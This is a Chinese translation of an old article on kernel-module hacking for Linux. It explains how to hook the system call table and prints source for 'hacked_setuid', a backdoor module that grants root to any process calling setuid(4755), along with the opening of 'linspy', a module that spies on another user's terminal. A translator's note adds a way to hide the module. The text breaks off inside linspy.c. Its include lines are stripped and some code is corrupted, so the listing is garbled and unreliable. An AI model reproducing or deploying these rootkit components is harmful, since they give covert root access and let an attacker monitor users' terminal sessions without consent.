簡介
------------
加載模塊是Linux中非常有用而又很重要的一項技術, 因為它可以使你在你需要的時候加載設備的驅動程序。 然而, 也有它壞的一面: 它使內核hacking非常容易。
當你再也無法信任你的kernel的時候會發生些什麼呢...?這篇文章的目的就是以簡單的思路來介紹內核模塊的利用。
系統調用
------------
系統調用,是一些可以被利用的底層函數, 他們在核心內部執行。在本文中, 它被利用來讓我們寫一個非常簡單的tty 截獲/監控。所有的代碼均在linux系統上面編寫並測試通過,並且不可以被編譯運行倒其他系統上。好!讓我們開始hacking kernel!
TTY 截獲, 就象tap和ttywatcher等程序是在Solaris,SunOS等其他帶STREAMS系統中很常見, 但是迄今為止在linux平台上就沒有這麼有用的tty hijacker(注: 我不考慮那種基於pty的代碼就象telnetsnoop程序那樣的截獲, 也不十分有用,因為你必須盡早准備監控系統用戶).
因為現在的linux系統普遍缺乏STREAMS (LinSTREAMS似乎就要消失了),所以我們必須選擇一個方法來監控流(stream)。屏蔽擊鍵的問題已經解決,因為我們可以利用TIOCSTI這個ioctl調用宏來阻塞擊鍵到標准輸入流。 一個解決方案, 當然, 就是改變write(2)系統調用到我們的代碼,代碼的作用是假如指向我們想要的tty就紀錄下來; 我們可以在後面調用
真實的write(2)系統調用。
很明顯, 一個設備驅動會很好地工作。我們可以通過讀這個設備來獲得已經被紀錄的數據,並且增加一個或兩個ioctl來告訴我們的代碼確定我們想紀錄的那個tty。
改變系統調用
---------------------------
系統調用可以非常簡單的就可以被改變成我自己的代碼了。它的工作原理有點象dos系統裡的終端機制以及常駐代碼。我們把原來的地址保存到一個變量, 然後設一個新的指針指向我們的代碼。在我們的代碼裡, 我們可以做一切事情, 當我們結束之後再調用原來的代碼。
(譯者注:這裡是簡單介紹了lkm的原理,但太過於簡單了。)
一個非常簡單的例程就包含在hacked_setuid.c這個文件中, 是一個你可以安裝的可加載模塊,並且當它被加載到內核運行時, 一個setuid(4755)將會設置你的uid/euid/gid/egid為0。
(參看附錄裡面提供的全部代碼。)syscalls的地址信息都包含在sys_call_table這個數組裡。
這就使我們改變syscalls指向我們自己的代碼變的非常簡單了。當我們這樣做後,很多事情都變得很簡單了...
Linspy的注意事項
--------------------
這個模塊是非常容易被發現的, 所有你所做的都會通過cat /proc/modules來顯示的很明
白。但這個問題很好解決,但我這裡沒有給出解決方法。(譯者注:其實隱藏模塊自身非常好實現,把register_symtab(NULL)插入到init_module()函數塊中即可限制符號輸出於/proc/ksyms。)
用linspy的時候, 你需要創建一個ltap的設備, 主設備號設為40,次設備號為0。好,在這之後, 運行make程序來insmod linspy這個設備。當它被加載後, 你可以這樣運行:ltread [tty],假如模塊運行的很好, 你可以發現已經把用戶屏幕屏蔽輸出了。
源代碼 [use the included extract.c utility to unarchive the code]
-----------------------------------------------------------------
<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = -DDEVICE_NAME="/dev/ltap"
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
all: linspy ltread setuid
linspy: linspy.c /usr/include/linux/version.h
$(CC) $(MODCFLAGS) -c linspy.c
ltread:
$(CC) $(DN) -o ltread ltread.c
clean:
rm *.o ltread
setuid: hacked_setuid.c /usr/include/linux/version.h
$(CC) $(MODCFLAGS) -c hacked_setuid.c
<--> end Makefile
<++> linspy/hacked_setuid.c
int errno;
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
static inline _syscall1(int, setuid, uid_t, uid);/*用_syscall這個系統調用宏來構建setuid調用*/
extern void *sys_call_table[];/*調出系統調用表*/
void *original_setuid; /*原來的setuid*/
extern int hacked_setuid(uid_t uid)/*我們要替換的setuid*/
{
int i;
if(uid == 4755)
{
current->uid = current->euid = current->gid = current->egid = 0;
/*使當前進程的uid,euid,gid,egid為零*/
return 0;
}
sys_call_table[SYS_setuid] = original_setuid;/*保存原調用*/
i = setuid(uid);
sys_call_table[SYS_setuid] = hacked_setuid;/*替換調用!*/
if(i == -1) return -errno;
else return i;
}
int init_module(void) /*加載*/
{
original_setuid = sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid] = hacked_setuid;
return 0;
}
void cleanup_module(void) /*卸載*/
{
sys_call_table[SYS_setuid] = original_setuid;
}
<++> linspy/linspy.c
int errno;
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef MODULE
#include
#include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*設置版本信息,假如需要的話 */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
#ifndef MIN
#define MIN(a,b) ((a) < (b) ? (a) : (b))
#endif
/* 定義緩沖信息 */
#define BUFFERSZ 2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;
/* taken_over 定義目標機是否可以看到任何輸出 */
int taken_over = 0;
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);/*構建write調用*/
extern void *sys_call_table[];
/* linspy設備的設備信息 */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;
/* 保存原write調用地址 */
void *original_write;
void save_write(char *, size_t);
int out_queue(void)
{
int c;
if(queue_head == queue_tail) return -1;
c = buffer[queue_head];
queue_head++;
if(queue_head == BUFFERSZ) queue_head=0;
return c;
}
int in_queue(int ch)
{
if((queue_tail + 1) == queue_head) return 0;
buffer[queue_tail] = ch;
queue_tail++;
if(queue_tail == BUFFERSZ) queue_tail=0;
return 1;
}
/* 檢查tty是否是我們要尋找的 */
int is_fd_tty(int fd)
{
strUCt file *f=NULL;
struct inode *inode=NULL;
int mymajor=0;
int myminor=0;
if(fd >= NR_OPEN !(f=current->files->fd[fd]) !(inode=f->f_inode))
return 0;
mymajor = major(inode->i_rdev);
myminor = minor(inode->i_rdev);
if(mymajor != tty_major) return 0;
if(myminor != tty_minor) return 0;
return 1;
}
/* 這是新的write調用 */
extern int new_write(int fd, char *buf, size_t count)
{
i